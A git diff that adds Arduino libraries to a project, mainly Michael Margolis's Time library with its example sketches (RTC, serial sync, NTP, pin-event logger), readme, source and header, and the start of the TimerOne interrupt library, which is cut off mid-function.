// LI, Version, Mode + UdpBytewise.write(0); // Stratum + UdpBytewise.write(6); // Polling Interval + UdpBytewise.write(0xEC); // Peer Clock Precision + write_n(0, 8); // Root Delay & Root Dispersion + UdpBytewise.write(49); + UdpBytewise.write(0x4E); + UdpBytewise.write(49); + UdpBytewise.write(52); + write_n(0, 32); //Reference and time stamps + UdpBytewise.endPacket(); +} + +unsigned long getUlong() +{ + unsigned long ulong = (unsigned long)UdpBytewise.read() << 24; + ulong |= (unsigned long)UdpBytewise.read() << 16; + ulong |= (unsigned long)UdpBytewise.read() << 8; + ulong |= (unsigned long)UdpBytewise.read(); + return ulong; +} + +void write_n(int what, int how_many) +{ + for( int i = 0; i < how_many; i++ ) + UdpBytewise.write(what); +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde new file mode 100755 index 0000000..1a1ed80 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde @@ -0,0 +1,47 @@ +/* + * TimeRTC.pde + * example code illustrating Time library with Real Time Clock. + * + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to get the time from the RTC + if(timeStatus()!= timeSet) + Serial.println("Unable to sync with the RTC"); + else + Serial.println("RTC has set the system time"); +} + +void loop() +{ + digitalClockDisplay(); + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde new file mode 100755 index 0000000..76ed17d --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde @@ -0,0 +1,106 @@ +/* + * TimeRTCLogger.pde + * example code illustrating adding and subtracting Time. + * + * this sketch logs pin state change events + * the time of the event and time since the previous event is calculated and sent to the serial port. + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + +const int nbrInputPins = 6; // monitor 6 digital pins +const int inputPins[nbrInputPins] = {2,3,4,5,6,7}; // pins to monitor +boolean state[nbrInputPins] ; // the state of the monitored pins +time_t prevEventTime[nbrInputPins] ; // the time of the previous event + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to sync the time from the RTC + for(int i=0; i < nbrInputPins; i++){ + pinMode( inputPins[i], INPUT); + // digitalWrite( inputPins[i], HIGH); // uncomment these lines if + // state[i] = HIGH; // pull-up resistors are wanted + } +} + +void loop() +{ + for(int i=0; i < nbrInputPins; i++) + { + boolean val = digitalRead(inputPins[i]); + if(val != state[i]) + { + time_t duration = 0; // the time since the previous event + state[i] = val; + time_t timeNow = now(); + if(prevEventTime[i] > 0) + // if this was not the first state change, calculate the time from the previous change + duration = duration = timeNow - prevEventTime[i]; + logEvent(inputPins[i], val, timeNow, duration ); // log the event + prevEventTime[i] = timeNow; // store the time for this event + } + } +} + +void logEvent( int pin, boolean state, time_t timeNow, time_t duration) +{ + Serial.print("Pin "); + Serial.print(pin); + if( state == HIGH) + Serial.print(" went High at "); + else + Serial.print(" went Low at "); + showTime(timeNow); + if(duration > 0){ + // only display duration if greater than 0 + Serial.print(", Duration was "); + showDuration(duration); + } + Serial.println(); +} + + +void showTime(time_t t){ + // display the given time + Serial.print(hour(t)); + printDigits(minute(t)); + printDigits(second(t)); + Serial.print(" "); + Serial.print(day(t)); + Serial.print(" "); + Serial.print(month(t)); + Serial.print(" "); + Serial.print(year(t)); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void showDuration(time_t duration){ +// prints the duration in days, hours, minutes and seconds + if(duration >= SECS_PER_DAY){ + Serial.print(duration / SECS_PER_DAY); + Serial.print(" day(s) "); + duration = duration % SECS_PER_DAY; + } + if(duration >= SECS_PER_HOUR){ + Serial.print(duration / SECS_PER_HOUR); + Serial.print(" hour(s) "); + duration = duration % SECS_PER_HOUR; + } + if(duration >= SECS_PER_MIN){ + Serial.print(duration / SECS_PER_MIN); + Serial.print(" minute(s) "); + duration = duration % SECS_PER_MIN; + } + Serial.print(duration); + Serial.print(" second(s) "); +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde new file mode 100755 index 0000000..48b696c --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde @@ -0,0 +1,82 @@ +/* + * TimeRTCSet.pde + * example code illustrating Time library with Real Time Clock. + * + * RTC clock is set in response to serial port time message + * A Processing example sketch to set the time is inclided in the download + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to get the time from the RTC + if(timeStatus()!= timeSet) + Serial.println("Unable to sync with the RTC"); + else + Serial.println("RTC has set the system time"); +} + +void loop() +{ + if(Serial.available()) + { + time_t t = processSyncMessage(); + if(t >0) + { + RTC.set(t); // set the RTC and the system time to the received value + setTime(t); + } + } + digitalClockDisplay(); + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +/* code to process time sync messages from the serial port */ +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message + +time_t processSyncMessage() { + // return the time if a valid sync message is received on the serial port. + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + return pctime; + } + } + return 0; +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde new file mode 100755 index 0000000..55c67a6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde @@ -0,0 +1,82 @@ +/* + * TimeSerial.pde + * example code illustrating Time library set through serial port messages. + * + * Messages consist of the letter T followed by ten digit time (as seconds since Jan 1 1970) + * you can send the text on the next line using Serial Monitor to set the clock to noon Jan 1 2010 + T1262347200 + * + * A Processing example sketch to automatically send the messages is inclided in the download + */ + +#include + +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message +#define TIME_REQUEST 7 // ASCII bell character requests a time sync message + +void setup() { + Serial.begin(9600); + setSyncProvider( requestSync); //set function to call when sync required + Serial.println("Waiting for sync message"); +} + +void loop(){ + if(Serial.available() ) + { + processSyncMessage(); + } + if(timeStatus()!= timeNotSet) + { + digitalWrite(13,timeStatus() == timeSet); // on if synced, off if needs refresh + digitalClockDisplay(); + } + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void processSyncMessage() { + // if time sync available from serial port, update time and return true + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + setTime(pctime); // Sync Arduino clock to the time received on the serial port + } + } +} + +time_t requestSync() +{ + Serial.print(TIME_REQUEST,BYTE); + return 0; // the time will be sent later in response to serial mesg +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde new file mode 100755 index 0000000..dcff97e --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde @@ -0,0 +1,80 @@ +/* + * TimeSerialDateStrings.pde + * example code illustrating Time library date strings + * + * This sketch adds date string functionality to TimeSerial.pde + * + */ + +#include + +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message +#define TIME_REQUEST 7 // ASCII bell character requests a time sync message + +void setup() { + Serial.begin(9600); + setSyncProvider( requestSync); //set function to call when sync required + Serial.println("Waiting for sync message"); +} + +void loop(){ + if(Serial.available() ) + { + processSyncMessage(); + } + if(timeStatus()!= timeNotSet) + { + digitalClockDisplay(); + } + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(dayStr(weekday())); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(monthShortStr(month())); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void processSyncMessage() { + // if time sync available from serial port, update time and return true + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + setTime(pctime); // Sync Arduino clock to the time received on the serial port + } + } +} + +time_t requestSync() +{ + Serial.print(TIME_REQUEST,BYTE); + return 0; // the time will be sent later in response to serial mesg +} + diff --git a/Projects/libraries/Installed_libs/Time/Readme.txt b/Projects/libraries/Installed_libs/Time/Readme.txt new file mode 100755 index 0000000..22bc4aa --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Readme.txt @@ -0,0 +1,131 @@ +Readme file for Arduino Time Library + +Time is a library that provides timekeeping functionality for Arduino. + +The code is derived from the Playground DateTime library but is updated +to provide an API that is more flexable and easier to use. + +A primary goal was to enable date and time functionality that can be used with +a variety of external time sources with minimum differences required in sketch logic. + +Example sketches illustrate how similar sketch code can be used with: a Real Time Clock, +internet NTP time service, GPS time data, and Serial time messages from a computer +for time synchronization. + +The functions available in the library include: + +hour(); // the hour now (0-23) +minute(); // the minute now (0-59) +second(); // the second now (0-59) +day(); // the day now (1-31) +weekday(); // day of the week, Sunday is day 0 +month(); // the month now (1-12) +year(); // the full four digit year: (2009, 2010 etc) + +there are also functions to return the hour in 12 hour format +hourFormat12(); // the hour now in 12 hour format +isAM(); // returns true if time now is AM +isPM(); // returns true if time now is PM + +now(); // returns the current time as seconds since Jan 1 1970 + +The time and date functions can take an optional parameter for the time. This prevents +errors if the time rolls over between elements. For example, if a new minute begins +between getting the minute and second, the values will be inconsistent. Using the +following functions eliminates this probglem + time_t t = now(); // store the current time in time variable t + hour(t); // returns the hour for the given time t + minute(t); // returns the minute for the given time t + second(t); // returns the second for the given time t + day(t); // the day for the given time t + weekday(t); // day of the week for the given time t + month(t); // the month for the given time t + year(t); // the year for the given time t + + +Functions for managing the timer services are: +setTime(t); // set the system time to the give time t +setTime(hr,min,sec,day,mnth,yr); // alternative to above, yr is 2 or 4 digit yr (2010 or 10 sets year to 2010) +adjustTime(adjustment); // adjust system time by adding the adjustment value + +timeStatus(); // indicates if time has been set and recently synchronized + // returns one of the following enumerations: + timeNotSet // the time has never been set, the clock started at Jan 1 1970 + timeNeedsSync // the time had been set but a sync attempt did not succeed + timeSet // the time is set and is synced +Time and Date values are not valid if the status is timeNotSet. Otherwise values can be used but +the returned time may have drifted if the status is timeNeedsSync. + +setSyncProvider(getTimeFunction); // set the external time provider +setSyncInterval(interval); // set the number of seconds between re-sync + + +There are many convenience macros in the time.h file for time constants and conversion of time units. + +To use the library, copy the download to the Library directory. + +The Time directory contains the Time library and some example sketches +illustrating how the library can be used with various time sources: + +- TimeSerial.pde shows Arduino as a clock without external hardware. + It is synchronized by time messages sent over the serial port. + A companion Processing sketch will automatically provide these messages + if it is running and connected to the Arduino serial port. + +- TimeSerialDateStrings.pde adds day and month name strings to the sketch above + Short (3 character) and long strings are available to print the days of + the week and names of the months. + +- TimeRTC uses a DS1307 real time clock to provide time synchronization. + A basic RTC library named DS1307RTC is included in the download. + To run this sketch the DS1307RTC library must be installed. + +- TimeRTCSet is similar to the above and adds the ability to set the Real Time Clock + +- TimeRTCLog demonstrates how to calculate the difference between times. + It is a vary simple logger application that monitors events on digtial pins + and prints (to the serial port) the time of an event and the time period since the previous event. + +- TimeNTP uses the Arduino Ethernet shield to access time using the internet NTP time service. + The NTP protocol uses UDP and the UdpBytewise library is required, see: + http://bitbucket.org/bjoern/arduino_osc/src/14667490521f/libraries/Ethernet/ + +-TimeGPS gets time from a GPS + This requires the TinyGPS and NewSoftSerial libraries from Mikal Hart: + http://arduiniana.org/libraries/TinyGPS and http://arduiniana.org/libraries/newsoftserial/ + +Differences between this code and the playground DateTime library +although the Time library is based on the DateTime codebase, the API has changed. +Changes in the Time library API: +- time elements are functions returning int (they are variables in DateTime) +- Years start from 1970 +- days of the week and months start from 1 (they start from 0 in DateTime) +- DateStrings do not require a seperate library +- time elements can be accessed non-atomically (in DateTime they are always atomic) +- function added to automatically sync time with extrnal source +- localTime and maketime parameters changed, localTime renamed to breakTime + +Technical notes: + +Internal system time is based on the standard Unix time_t. +The value is the number of seconds since Jan 1 1970. +System time begins at zero when the sketch starts. + +The internal time can be automatically synchronized at regular intervals to an external time source. +This is enabled by calling the setSyncProvider(provider) function - the provider argument is +the address of a function that returns the current time as a time_t. +See the sketches in the examples directory for usage. + +The default interval for re-syncing the time is 5 minutes but can be changed by calling the +setSyncInterval( interval) method to set the number of seconds between re-sync attempts. + +The Time library defines a structure for holding time elements that is a compact version of the C tm structure. +All the members of the Arduino tm structure are bytes and the year is offset from 1970. +Convenience macros provide conversion to and from the Arduino format. + +Low level functions to convert between system time and individual time elements are provided: + breakTime( time, &tm); // break time_t into elements stored in tm struct + makeTime( &tm); // return time_t from elements stored in tm struct + +The DS1307RTC library included in the download provides an example of how a time provider +can use the low level functions to interface with the Time library. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Time.cpp b/Projects/libraries/Installed_libs/Time/Time.cpp new file mode 100755 index 0000000..86bdcd5 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Time.cpp @@ -0,0 +1,307 @@ +/* + time.c - low level time and date functions + Copyright (c) Michael Margolis 2009 + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + 6 Jan 2010 - initial release + 12 Feb 2010 - fixed leap year calculation error + 1 Nov 2010 - fixed setTime bug (thanks to Korman for this) +*/ + +#if ARDUINO >= 100 +#include +#else +#include +#endif + +#include "Time.h" + +static tmElements_t tm; // a cache of time elements +static time_t cacheTime; // the time the cache was updated +static time_t syncInterval = 300; // time sync will be attempted after this many seconds + +void refreshCache( time_t t){ + if( t != cacheTime) + { + breakTime(t, tm); + cacheTime = t; + } +} + +int hour() { // the hour now + return hour(now()); +} + +int hour(time_t t) { // the hour for the given time + refreshCache(t); + return tm.Hour; +} + +int hourFormat12() { // the hour now in 12 hour format + return hourFormat12(now()); +} + +int hourFormat12(time_t t) { // the hour for the given time in 12 hour format + refreshCache(t); + if( tm.Hour == 0 ) + return 12; // 12 midnight + else if( tm.Hour > 12) + return tm.Hour - 12 ; + else + return tm.Hour ; +} + +uint8_t isAM() { // returns true if time now is AM + return !isPM(now()); +} + +uint8_t isAM(time_t t) { // returns true if given time is AM + return !isPM(t); +} + +uint8_t isPM() { // returns true if PM + return isPM(now()); +} + +uint8_t isPM(time_t t) { // returns true if PM + return (hour(t) >= 12); +} + +int minute() { + return minute(now()); +} + +int minute(time_t t) { // the minute for the given time + refreshCache(t); + return tm.Minute; +} + +int second() { + return second(now()); +} + +int second(time_t t) { // the second for the given time + refreshCache(t); + return tm.Second; +} + +int day(){ + return(day(now())); +} + +int day(time_t t) { // the day for the given time (0-6) + refreshCache(t); + return tm.Day; +} + +int weekday() { // Sunday is day 1 + return weekday(now()); +} + +int weekday(time_t t) { + refreshCache(t); + return tm.Wday; +} + +int month(){ + return month(now()); +} + +int month(time_t t) { // the month for the given time + refreshCache(t); + return tm.Month; +} + +int year() { // as in Processing, the full four digit year: (2009, 2010 etc) + return year(now()); +} + +int year(time_t t) { // the year for the given time + refreshCache(t); + return tmYearToCalendar(tm.Year); +} + +/*============================================================================*/ +/* functions to convert to and from system time */ +/* These are for interfacing with time serivces and are not normally needed in a sketch */ + +// leap year calulator expects year argument as years offset from 1970 +#define LEAP_YEAR(Y) ( ((1970+Y)>0) && !((1970+Y)%4) && ( ((1970+Y)%100) || !((1970+Y)%400) ) ) + +static const uint8_t monthDays[]={31,28,31,30,31,30,31,31,30,31,30,31}; // API starts months from 1, this array starts from 0 + +void breakTime(time_t time, tmElements_t &tm){ +// break the given time_t into time components +// this is a more compact version of the C library localtime function +// note that year is offset from 1970 !!! + + uint8_t year; + uint8_t month, monthLength; + unsigned long days; + + tm.Second = time % 60; + time /= 60; // now it is minutes + tm.Minute = time % 60; + time /= 60; // now it is hours + tm.Hour = time % 24; + time /= 24; // now it is days + tm.Wday = ((time + 4) % 7) + 1; // Sunday is day 1 + + year = 0; + days = 0; + while((unsigned)(days += (LEAP_YEAR(year) ? 366 : 365)) <= time) { + year++; + } + tm.Year = year; // year is offset from 1970 + + days -= LEAP_YEAR(year) ? 366 : 365; + time -= days; // now it is days in this year, starting at 0 + + days=0; + month=0; + monthLength=0; + for (month=0; month<12; month++) { + if (month==1) { // february + if (LEAP_YEAR(year)) { + monthLength=29; + } else { + monthLength=28; + } + } else { + monthLength = monthDays[month]; + } + + if (time >= monthLength) { + time -= monthLength; + } else { + break; + } + } + tm.Month = month + 1; // jan is month 1 + tm.Day = time + 1; // day of month +} + +time_t makeTime(tmElements_t &tm){ +// assemble time elements into time_t +// note year argument is offset from 1970 (see macros in time.h to convert to other formats) +// previous version used full four digit year (or digits since 2000),i.e. 2009 was 2009 or 9 + + int i; + time_t seconds; + + // seconds from 1970 till 1 jan 00:00:00 of the given year + seconds= tm.Year*(SECS_PER_DAY * 365); + for (i = 0; i < tm.Year; i++) { + if (LEAP_YEAR(i)) { + seconds += SECS_PER_DAY; // add extra days for leap years + } + } + + // add days for this year, months start from 1 + for (i = 1; i < tm.Month; i++) { + if ( (i == 2) && LEAP_YEAR(tm.Year)) { + seconds += SECS_PER_DAY * 29; + } else { + seconds += SECS_PER_DAY * monthDays[i-1]; //monthDay array starts from 0 + } + } + seconds+= (tm.Day-1) * SECS_PER_DAY; + seconds+= tm.Hour * SECS_PER_HOUR; + seconds+= tm.Minute * SECS_PER_MIN; + seconds+= tm.Second; + return seconds; +} +/*=====================================================*/ +/* Low level system time functions */ + +static time_t sysTime = 0; +static time_t prevMillis = 0; +static time_t nextSyncTime = 0; +static timeStatus_t Status = timeNotSet; + +getExternalTime getTimePtr; // pointer to external sync function +//setExternalTime setTimePtr; // not used in this version + +#ifdef TIME_DRIFT_INFO // define this to get drift data +time_t sysUnsyncedTime = 0; // the time sysTime unadjusted by sync +#endif + + +time_t now(){ + while( millis() - prevMillis >= 1000){ + sysTime++; + prevMillis += 1000; +#ifdef TIME_DRIFT_INFO + sysUnsyncedTime++; // this can be compared to the synced time to measure long term drift +#endif + } + if(nextSyncTime <= sysTime){ + if(getTimePtr != 0){ + time_t t = getTimePtr(); + if( t != 0) + setTime(t); + else + Status = (Status == timeNotSet) ? timeNotSet : timeNeedsSync; + } + } + return sysTime; +} + +void setTime(time_t t){ +#ifdef TIME_DRIFT_INFO + if(sysUnsyncedTime == 0) + sysUnsyncedTime = t; // store the time of the first call to set a valid Time +#endif + + sysTime = t; + nextSyncTime = t + syncInterval; + Status = timeSet; + prevMillis = millis(); // restart counting from now (thanks to Korman for this fix) +} + +void setTime(int hr,int min,int sec,int dy, int mnth, int yr){ + // year can be given as full four digit year or two digts (2010 or 10 for 2010); + //it is converted to years since 1970 + if( yr > 99) + yr = yr - 1970; + else + yr += 30; + tm.Year = yr; + tm.Month = mnth; + tm.Day = dy; + tm.Hour = hr; + tm.Minute = min; + tm.Second = sec; + setTime(makeTime(tm)); +} + +void adjustTime(long adjustment){ + sysTime += adjustment; +} + +timeStatus_t timeStatus(){ // indicates if time has been set and recently synchronized + return Status; +} + +void setSyncProvider( getExternalTime getTimeFunction){ + getTimePtr = getTimeFunction; + nextSyncTime = sysTime; + now(); // this will sync the clock +} + +void setSyncInterval(time_t interval){ // set the number of seconds between re-sync + syncInterval = interval; +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Time.h b/Projects/libraries/Installed_libs/Time/Time.h new file mode 100755 index 0000000..e54f3b0 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Time.h @@ -0,0 +1,126 @@ +/* + time.h - low level time and date functions +*/ + +/* + July 3 2011 - fixed elapsedSecsThisWeek macro (thanks Vincent Valdy for this) + - fixed daysToTime_t macro (thanks maniacbug) +*/ + +#ifndef _Time_h +#define _Time_h + +#include + +typedef unsigned long time_t; + +typedef enum {timeNotSet, timeNeedsSync, timeSet +} timeStatus_t ; + +typedef enum { + dowInvalid, dowSunday, dowMonday, dowTuesday, dowWednesday, dowThursday, dowFriday, dowSaturday +} timeDayOfWeek_t; + +typedef enum { + tmSecond, tmMinute, tmHour, tmWday, tmDay,tmMonth, tmYear, tmNbrFields +} tmByteFields; + +typedef struct { + uint8_t Second; + uint8_t Minute; + uint8_t Hour; + uint8_t Wday; // day of week, sunday is day 1 + uint8_t Day; + uint8_t Month; + uint8_t Year; // offset from 1970; +} tmElements_t, TimeElements, *tmElementsPtr_t; + +//convenience macros to convert to and from tm years +#define tmYearToCalendar(Y) ((Y) + 1970) // full four digit year +#define CalendarYrToTm(Y) ((Y) - 1970) +#define tmYearToY2k(Y) ((Y) - 30) // offset is from 2000 +#define y2kYearToTm(Y) ((Y) + 30) + +typedef time_t(*getExternalTime)(); +//typedef void (*setExternalTime)(const time_t); // not used in this version + + +/*==============================================================================*/ +/* Useful Constants */ +#define SECS_PER_MIN (60UL) +#define SECS_PER_HOUR (3600UL) +#define SECS_PER_DAY (SECS_PER_HOUR * 24UL) +#define DAYS_PER_WEEK (7UL) +#define SECS_PER_WEEK (SECS_PER_DAY * DAYS_PER_WEEK) +#define SECS_PER_YEAR (SECS_PER_WEEK * 52UL) +#define SECS_YR_2000 (946684800UL) // the time at the start of y2k + +/* Useful Macros for getting elapsed time */ +#define numberOfSeconds(_time_) (_time_ % SECS_PER_MIN) +#define numberOfMinutes(_time_) ((_time_ / SECS_PER_MIN) % SECS_PER_MIN) +#define numberOfHours(_time_) (( _time_% SECS_PER_DAY) / SECS_PER_HOUR) +#define dayOfWeek(_time_) ((( _time_ / SECS_PER_DAY + 4) % DAYS_PER_WEEK)+1) // 1 = Sunday +#define elapsedDays(_time_) ( _time_ / SECS_PER_DAY) // this is number of days since Jan 1 1970 +#define elapsedSecsToday(_time_) (_time_ % SECS_PER_DAY) // the number of seconds since last midnight +// The following macros are used in calculating alarms and assume the clock is set to a date later than Jan 1 1971 +// Always set the correct time before settting alarms +#define previousMidnight(_time_) (( _time_ / SECS_PER_DAY) * SECS_PER_DAY) // time at the start of the given day +#define nextMidnight(_time_) ( previousMidnight(_time_) + SECS_PER_DAY ) // time at the end of the given day +#define elapsedSecsThisWeek(_time_) (elapsedSecsToday(_time_) + ((dayOfWeek(_time_)-1) * SECS_PER_DAY) ) // note that week starts on day 1 +#define previousSunday(_time_) (_time_ - elapsedSecsThisWeek(_time_)) // time at the start of the week for the given time +#define nextSunday(_time_) ( previousSunday(_time_)+SECS_PER_WEEK) // time at the end of the week for the given time + + +/* Useful Macros for converting elapsed time to a time_t */ +#define minutesToTime_t ((M)) ( (M) * SECS_PER_MIN) +#define hoursToTime_t ((H)) ( (H) * SECS_PER_HOUR) +#define daysToTime_t ((D)) ( (D) * SECS_PER_DAY) // fixed on Jul 22 2011 +#define weeksToTime_t ((W)) ( (W) * SECS_PER_WEEK) + +/*============================================================================*/ +/* time and date functions */ +int hour(); // the hour now +int hour(time_t t); // the hour for the given time +int hourFormat12(); // the hour now in 12 hour format +int hourFormat12(time_t t); // the hour for the given time in 12 hour format +uint8_t isAM(); // returns true if time now is AM +uint8_t isAM(time_t t); // returns true the given time is AM +uint8_t isPM(); // returns true if time now is PM +uint8_t isPM(time_t t); // returns true the given time is PM +int minute(); // the minute now +int minute(time_t t); // the minute for the given time +int second(); // the second now +int second(time_t t); // the second for the given time +int day(); // the day now +int day(time_t t); // the day for the given time +int weekday(); // the weekday now (Sunday is day 1) +int weekday(time_t t); // the weekday for the given time +int month(); // the month now (Jan is month 1) +int month(time_t t); // the month for the given time +int year(); // the full four digit year: (2009, 2010 etc) +int year(time_t t); // the year for the given time + +time_t now(); // return the current time as seconds since Jan 1 1970 +void setTime(time_t t); +void setTime(int hr,int min,int sec,int day, int month, int yr); +void adjustTime(long adjustment); + +/* date strings */ +#define dt_MAX_STRING_LEN 9 // length of longest date string (excluding terminating null) +char* monthStr(uint8_t month); +char* dayStr(uint8_t day); +char* monthShortStr(uint8_t month); +char* dayShortStr(uint8_t day); + +/* time sync functions */ +timeStatus_t timeStatus(); // indicates if time has been set and recently synchronized +void setSyncProvider( getExternalTime getTimeFunction); // identify the external time provider +void setSyncInterval(time_t interval); // set the number of seconds between re-sync + +/* low level functions to convert to and from system time */ +void breakTime(time_t time, tmElements_t &tm); // break time_t into elements +time_t makeTime(tmElements_t &tm); // convert time elements into time_t + + +#endif /* _Time_h */ + diff --git a/Projects/libraries/Installed_libs/Time/keywords.txt b/Projects/libraries/Installed_libs/Time/keywords.txt new file mode 100755 index 0000000..f921672 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/keywords.txt @@ -0,0 +1,33 @@ +####################################### +# Syntax Coloring Map For Time +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### +time_t KEYWORD1 +####################################### +# Methods and Functions (KEYWORD2) +####################################### +now KEYWORD2 +second KEYWORD2 +minute KEYWORD2 +hour KEYWORD2 +day KEYWORD2 +month KEYWORD2 +year KEYWORD2 +isAM KEYWORD2 +isPM KEYWORD2 +weekday KEYWORD2 +setTime KEYWORD2 +adjustTime KEYWORD2 +setSyncProvider KEYWORD2 +setSyncInteval KEYWORD2 +timeStatus KEYWORD2 +####################################### +# Instances (KEYWORD2) +####################################### + +####################################### +# Constants (LITERAL1) +####################################### diff --git a/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp b/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp new file mode 100644 index 0000000..58a4094 --- /dev/null +++ b/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp @@ -0,0 +1,137 @@ +/* + * Interrupt and PWM utilities for 16 bit Timer1 on ATmega168/328 + * Original code by Jesse Tane for http://labs.ideo.com August 2008 + * Modified March 2009 by Jérôme Despatis and Jesse Tane for ATmega328 support + * Modified June 2009 by Michael Polli and Jesse Tane to fix a bug in setPeriod() which caused the timer to stop + * Modified June 2011 by Lex Talionis to add a function to read the timer + * + * This is free software. You can redistribute it and/or modify it under + * the terms of Creative Commons Attribution 3.0 United States License. + * To view a copy of this license, visit http://creativecommons.org/licenses/by/3.0/us/ + * or send a letter to Creative Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA. + * + * See Google Code project http://code.google.com/p/arduino-timerone/ for latest + */ +#ifndef TIMERONE_cpp +#define TIMERONE_cpp + +#include "TimerOne.h" + +TimerOne Timer1; // preinstatiate + +ISR(TIMER1_OVF_vect) // interrupt service routine that wraps a user defined function supplied by attachInterrupt +{ + Timer1.isrCallback(); +} + +void TimerOne::initialize(long microseconds) +{ + TCCR1A = 0; // clear control register A + TCCR1B = _BV(WGM13); // set mode 8: phase and frequency correct pwm, stop the timer + setPeriod(microseconds); +} + +void TimerOne::setPeriod(long 